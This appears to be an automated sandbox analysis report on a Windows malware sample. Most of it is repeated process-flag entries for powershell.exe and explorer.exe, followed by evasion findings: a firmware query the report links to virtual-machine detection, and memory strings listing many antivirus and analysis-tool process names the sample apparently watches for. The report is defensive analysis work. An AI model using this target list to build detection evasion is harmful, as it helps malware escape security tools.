Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\explorer.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: explorer.exe, 0000003A.00000003.1824269594.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _SETUP.EXE,AVIRA.SPOTLIGHT.BOOTSTRAPPER.EXE,AVIRA.SPOTLIGHT.BOOTSTRAPPER.ERRORREPORTING.EXE,AVIRA_RU_SPTL1_1478146083-1653898989__PHPWS.EXE,AVIRA_RU_SPTL1_1261326278-1662974870__PAVWS.EXE,STARTUP.EXE,KS4.021.3.10.391RU_25000.EXE,KS4.021.3.10.391EN_25092.EXE,KS4.021.3.10.391EN_25112.EXE,KS4.021.3.10.391EN_25108.EXE,KS4.021.3.10.391EN_25104.EXE,KS4.021.3.10.391EN_25100.EXE,INSTALL KASPERSKY SECURITY CLOUD VERSION 21.3.10.391,DRWEB-12.0-SS-WIN.EXE,WIN-SPACE-SETUP.EXE,WIN-SPACE-SETUP.EXE.LZMA,GB3ANEHTQ5LB.EXE,ZP6NKQL8CJGQP.EXE,NRU5ZUB6LJMSREG.EXE,EPWN7GBAGXFAX4.EXE,EHDTRZXXU.EXE,MBSETUP.EXE,ADAWAREWEBINSTALLER.EXE,CMDINSTALL.EXE,CISPRO_INSTALLER.EXE,ESET_INTERNET_SECURITY_LIVE_INSTALLER.EXE,BOOTHELPER.EXE,ESET_INTERNET_SECURITY_LIVE_INSTALLER.EXE,FORTICLIENTONLINEINSTALLER.EXE,FREEDOMEINSTALLERUI.EXE,FREEDOME.EXE,F-SECURENETWORKINSTALLER-IS.EXE,WEBVIEW2.EXE,ONECLIENT.MSI,F-SECURENETWORKINSTALLER-AV.EXE,FSECUREKEYWIN.EXE,SETUPPROJECTVIRUSUTILITIES_X86_DE.MSI,SETUPPROJECTVIRUSUTILITIES_X64_DE.MSI,INSTALLER.EXE,WEBADVISORINSTALLER.EXE,WEBADVISORINSTALLER32.EXE,WEBADVISORINSTALLER64.EXE,DELEGATE.EXE,INSTALL.EXE,SAFEFAMILYSETUP.EXE,MCCERTUPD.EXE,STUB.EXE,PSINANORUN.EXE,PANDADE.EXE,PANDADA.EXE,PANDADC.EXE,PANDADP.EXE,ZAFWSETUPWEB_158_200_19118.EXE,RESUME ZONEALARM SECURITY INSTALL,LAUNCHER.EXE,CLEAN_TOOL.EXE,CLEAN_TOOL64.EXE,DLTEL.EXE,ZTS3.EXE,ZTS3.TMP,EFPEADM.EXE,VPNGUI.EXE,CVPND.EXE,IPSECLOG.EXE,CFP.EXE,FSDFWD.EXE,FSGUIEXE.EXE,BLACKD.EXE,KPF4GUI.EXE,MSSCLL.EXE,MCSHELL.EXE,MPFSERVICE.EXE,MPFAGENT.EXE,NISUM.EXE,SMC.EXE,PERSFW.EXE,PCCPFW.EXE,WINSS.EXE,ZLCLIENT.EXE,MCODS.EXE,MCSHIELD.EXE,MSMPENG.EXE,NAVAPSVC.EXE,AVKWCTL.EXE,FSAV32.EXE,MCSHIELD.EXE,NTRTSCAN.EXE,AVGUARD.EXE,ASHSERV.EXE,AVENGINE.EXE,AVGEMC.EXE,TMNTSRV.EXE,KAVFSWP.EXE,KAVTRAY.EXE,KAVFSMUI.EXE,KAVSHELL.EXE,KAVFSRCN.EXE,KAVFS.EXE,KAVFSGT.EXE,KAVFSWH.EXE,KAVFSSCS.EXE,AFWSERV.EXE,ASWENGSRV.EXE,ASWIDSAGENT.EXE,ASWTOOLSSVC.EXE,AVASTSVC.EXE,AVASTSVC.EXE,AVASTUI.EXE,WSC_PROXY.EXE,AVASTBROWSER.EXE,AVASTNM.EXE,ASHWEBSV.EXE,ASWUPDSV.EXE,CCSETUP600_PRO_TRIAL.EXE,CCLEANER64.EXE,CCLEANER.EXE,CCUPDATE.EXE,MSIAFTERBURNER.EXE,SETUP.EXE,IOBIT_MALWARE_FIGHTER_SETUP.EXE,IMF.EXE,IMFCORE.EXE,IMFSRV.EXE,IMFTIPS.EXE,IMFSRVWSC.EXE,AIDA64.EXE,CCLEANER.EXE,REGISTRYCLEANER,CCUPDATE.EXE,SECURITYHEALTHSYSTRAY.EXE,AFWSERV.EXE,ASWENGSRV.EXE,ASWIDSAGENT.EXE,ASWTOOLSSVC.EXE,AVASTSVC.EXE,AVASTSVC.EXE,AVASTUI.EXE,WSC_PROXY.EXE,AVASTBROWSER.EXE,AVASTNM.EXE,ASHWEBSV.EXE,ASWUPDSV.EXE,KAVFSWP.EXE,KAVTRAY.EXE,KAVFSMUI.EXE,KAVSHELL.EXE,KAVFSRCN.EXE,KAVFS.EXE,KAVFSGT.EXE,KAVFSWH.EXE,KAVFSSCS.EXE,EFPEADM.EXE,VPNGUI.EXE,CVPND.EXE,IPSECLOG.EXE,CFP.EXE,FSDFWD.EXE,FSGUIEXE.EXE,BLACKD.EXE,KPF4GUI.EXE,MSSCLL.EXE,MCSHELL.EXE,MPFSERVICE.EXE,MPFAGENT.EXE,NISUM.EXE,SMC.EXE,PERSFW.EXE,PCCPFW.EXE,WINSS.EXE,ZLCLIENT.EXE,MCODS.EXE,MCSHIELD.EXE,MSMPENG.EXE,NAVAPSVC.EXE,AVKWCTL.EXE,FSAV32.EXE,MCSHIELD.EXE,NTRTSCAN.EXE,AVGUARD.EXE,ASHSERV.EXE,AVENGINE.EXE,AVGEMC.EXE,TMNTSRV.EXE,ADVCHK.EXE,AHNSD.EXE,ALERTSVC.EXE,AVMAISRV.EXE,AVSYNMGR.EXE,BITDEFENDER_P2P_ST
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: explorer.exe, 0000003A.00000003.1824354802.000000000060B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000002.4158665690.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.1823929141.00000000005EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: explorer.exe, 0000003A.00000002.4158665690.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,SYSTEMINFORMER.EXE,PROCESSHACKER.EXE,PROCESSHACKER32.EXE,PROCESSHACKER64.EXE,PROCEXP.EXE,PROCEXP64.EXE,PROCEXP64A.EXE,PERFMON.EXE,PERFMON.EXE,SYSTEMEXPLORER.EXE,AUTORUNS.EXE,OPENHARDWAREMONITOR.EXE,PCHUNTER32.EXE,PCHUNTER64.EXE,AIDA64.EXE,HWINFO64GPUZ.EXE,GPU-Z.EXE,MSIAFTERBURNER.EXE,ANVIR.EXE,VIRUSTOTAL-UPLOADER-2-0-EN-WIN.EXEMX
Source: explorer.exe, 0000003A.00000003.1824354802.000000000060B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,SYSTEMINFORMER.EXE,PROCESSHACKER.EXE,PROCESSHACKER32.EXE,PROCESSHACKER64.EXE,PROCEXP.EXE,PROCEXP64.EXE,PROCEXP64A.EXE,PERFMON.EXE,PERFMON.EXE,SYSTEMEXPLORER.EXE,AUTORUNS.EXE,OPENHARDWAREMONITOR.EXE,PCHUNTER32.EXE,PCHUNTER64.EXE,AI
Source: explorer.exe, 0000003A.00000003.1824354802.000000000060B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGEDIT.EXE,SECURITYCHECK.EXE,AVZ5RN.EXE,HITMANPRO_X64.EXE,HITMANPRO.EXE,ANVIR.EXE,AVBR.EXE,TASKHOSTW.EXE,START.EXE,FRST64.EXE,AVAST_FREE_ANTIVIRUS_SETUP_ONLINE_X64.EXE,AVAST_FREE_ANTIVIRUS_SETUP_ONLINE.EXE,INSTUP.EXE,SBR.EXE,AVG_ANTIVIRUS_FREE_SETUP.EXE,AVIRA.SPOTLIGHT.BOOTSTRAPPER.EXE,AVIRA.SPOTLIGHT.BOOTSTRAPPER.ERRORREPORTING.EXE,AVIRA_RU_SPTL1_1478146083-1653898989__PHPWS.EXE,AVIRA_RU_SPTL1_1261326278-1662974870__PAVWS.EXE,STARTUP.EXE,KS4.021.3.10.391RU_25000.EXE,KS4.021.3.10.391EN_25092.EXE,KS4.021.3.10.391EN_25112.EXE,KS4.021.3.10.391EN_25108.EXE,KS4.021.3.10.391EN_25104.EXE,KS4.021.3.10.391EN_25100.EXE,INSTALL KASPERSKY SECURITY CLOUD VERSION 21.3.10.391,DRWEB-12.0-SS-WIN.EXE,WIN-SPACE-SETUP.EXE,WIN-SPACE-SETUP.EXE.LZMA,GB3ANEHTQ5LB.EXE,ZP6NKQL8CJGQP.EXE,NRU5ZUB6LJMSREG.EXE,EPWN7GBAGXFAX4.EXE,EHDTRZXXU.EXE,MBSETUP.EXE,ADAWAREWEBINSTALLER.EXE,CMDINSTALL.EXE,CISPRO_INSTALLER.EXE,ESET_INTERNET_SECURITY_LIVE_INSTALLER.EXE,BOOTHELPER.EXE,ESET_INTERNET_SECURITY_LIVE_INSTALLER.EXE,FORTICLIENTONLINEINSTALLER.EXE,FREEDOMEINSTALLERUI.EXE,FREEDOME.EXE,F-SECURENETWORKINSTALLER-IS.EXE,WEBVIEW2.EXE,ONECLIENT.MSI,F-SECURENETWORKINSTALLER-AV.EXE,FSECUREKEYWIN.EXE,SETUPPROJECTVIRUSUTILITIES_X86_DE.MSI,SETUPPROJECTVIRUSUTILITIES_X64_DE.MSI,INSTALLER.EXE,WEBADVISORINSTALLER.EXE,WEBADVISORINSTALLER32.EXE,WEBADVISORINSTALLER64.EXE,DELEGATE.EXE,INSTALL.EXE,SAFEFAMILYSETUP.EXE,MCCERTUPD.EXE,STUB.EXE,PSINANORUN.EXE,PANDADE.EXE,PANDADA.EXE,PANDADC.EXE,PANDADP.EXE,ZAFWSETUPWEB_158_200_19118.EXE,RESUME ZONEALARM SECURITY INSTALL,LAUNCHER.EXE,CLEAN_TOOL.EXE,CLEAN_TOOL64.EXE,DLTEL.EXE,ZTS3.EXE,ZTS3.TMP,EFPEADM.EXE,VPNGUI.EXE,CVPND.EXE,IPSECLOG.EXE,CFP.EXE,FSDFWD.EXE,FSGUIEXE.EXE,BLACKD.EXE,KPF4GUI.EXE,MSSCLL.EXE,MCSHELL.EXE,MPFSERVICE.EXE,MPFAGENT.EXE,NISUM.EXE,SMC.EXE,PERSFW.EXE,PCCPFW.EXE,WINSS.EXE,ZLCLIENT.EXE,MCODS.EXE,MCSHIELD.EXE,MSMPENG.EXE,NAVAPSVC.EXE,AVKWCTL.EXE,FSAV32.EXE,MCSHIELD.EXE,NTRTSCAN.EXE,AVGUARD.EXE,ASHSERV.EXE,AVENGINE.EXE,AVGEMC.EXE,TMNTSRV.EXE,KAVFSWP.EXE,KAVTRAY.EXE,KAVFSMUI.EXE,KAVSHELL.EXE,KAVFSRCN.EXE,KAVFS.EXE,KAVFSGT.EXE,KAVFSWH.EXE,KAVFSSCS.EXE,AFWSERV.EXE,ASWENGSRV.EXE,ASWIDSAGENT.EXE,ASWTOOLSSVC.EXE,AVASTSVC.EXE,AVASTSVC.EXE,AVASTUI.EXE,WSC_PROXY.EXE,AVASTBROWSER.EXE,AVASTNM.EXE,ASHWEBSV.EXE,ASWUPDSV.EXE,CCSETUP600_PRO_TRIAL.EXE,CCLEANER64.EXE,CCLEANER.EXE,CCUPDATE.EXE,MSIAFTERBURNER.EXE,SETUP.EXE,IOBIT_MALWARE_FIGHTER_SETUP.EXE,IMF.EXE,IMFCORE.EXE,IMFSRV.EXE,IMFTIPS.EXE,IMFSRVWSC.EXE,AIDA64.EXE,CCLEANER.EXE,REGISTRYCLEANER,CCUPDATE.EXE,SECURITYHEALTHSYSTRAY.EXE,AFWSERV.EXE,ASWENGSRV.EXE,ASWIDSAGENT.EXE,ASWTOOLSSVC.EXE,AVASTSVC.EXE,AVASTSVC.EXE,AVASTUI.EXE,WSC_PROXY.EXE,AVASTBROWSER.EXE,AVASTNM.EXE,ASHWEBSV.EXE,ASWUPDSV.EXE,KAVFSWP.EXE,KAVTRAY.EXE,KAVFSMUI.EXE,KAVSHELL.EXE,KAVFSRCN.EXE,KAVFS.EXE,KAVFSGT.EXE,KAVFSWH.EXE,KAVFSSCS.EXE,EFPEADM.EXE,VPNGUI.EXE,CVPND.EXE,IPSECLOG.EXE,CFP.EXE,FSDFWD.EXE,FSGUIEXE.EXE,BLACKD.EXE,KPF4GUI.EXE,MSSCLL.EXE,MCSHELL.EXE,MPFSERVICE.EXE,MPFAGENT.EXE,NISUM.EXE,SMC.EXE,PERSFW.EXE,PCCPFW.EXE,WINSS.EXE,ZLCL
Source: explorer.exe, 0000003A.00000002.4158665690.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,SYSTEMINFORMER.EXE,PROCESSHACKER.EXE,PROCESSHACKER32.EXE,PROCESSHACKER64.EXE,PROCEXP.EXE,PROCEXP64.EXE,PROCEXP64A.EXE,PERFMON.EXE,PERFMON.EXE,SYSTEMEXPLORER.EXE,AUTORUNS.EXE,OPENHARDWAREMONITOR.EXE,PCHUNTER32.EXE,PCHUNTER64.EXE,AIDA64.EXE,HWINFO64GPUZ.EXE,GPU-Z.EXE,MSIAFTERBURNER.EXE,ANVIR.EXE,VIRUSTOTAL-UPLOADER-2-0-EN-WIN.EXE
Source: explorer.exe, 0000003A.00000003.1824354802.000000000060B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXEE
Source: explorer.exe, 0000003A.00000003.1824354802.000000000060B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: BREGEDIT.EXE,SECURITYCHECK.EXE,AVZ5RN.EXE,HITMANPRO_X64.EXE,HITMANPRO.EXE,ANVIR.EXE,AVBR.EXE,TASKHOSTW.EXE,START.EXE,FRST64.EXE,AVAST_FREE_ANTIVIRUS_SETUP_ONLINE_X64.EXE,AVAST_FREE_ANTIVIRUS_SETUP_ONLINE.EXE,INSTUP.EXE,SBR.EXE,AVG_ANTIVIRUS_FREE_SETUP.EXE,AVIRA.SPOTLIGHT.BOOTSTRAPPER.EXE,AVIRA.SPOTLIGHT.BOOTSTRAPPER.ERRORREPORTING.EXE,AVIRA_RU_SPTL1_1478146083-1653898989__PHPWS.EXE,AVIRA_RU_SPTL1_1261326278-1662974870__PAVWS.EXE,STARTUP.EXE,KS4.021.3.10.391RU_25000.EXE,KS4.021.3.10.391EN_25092.EXE,KS4.021.3.10.391EN_25112.EXE,KS4.021.3.10.391EN_25108.EXE,KS4.021.3.10.391EN_25104.EXE,KS4.021.3.10.391EN_25100.EXE,INSTALL KASPERSKY SECURITY CLOUD VERSION 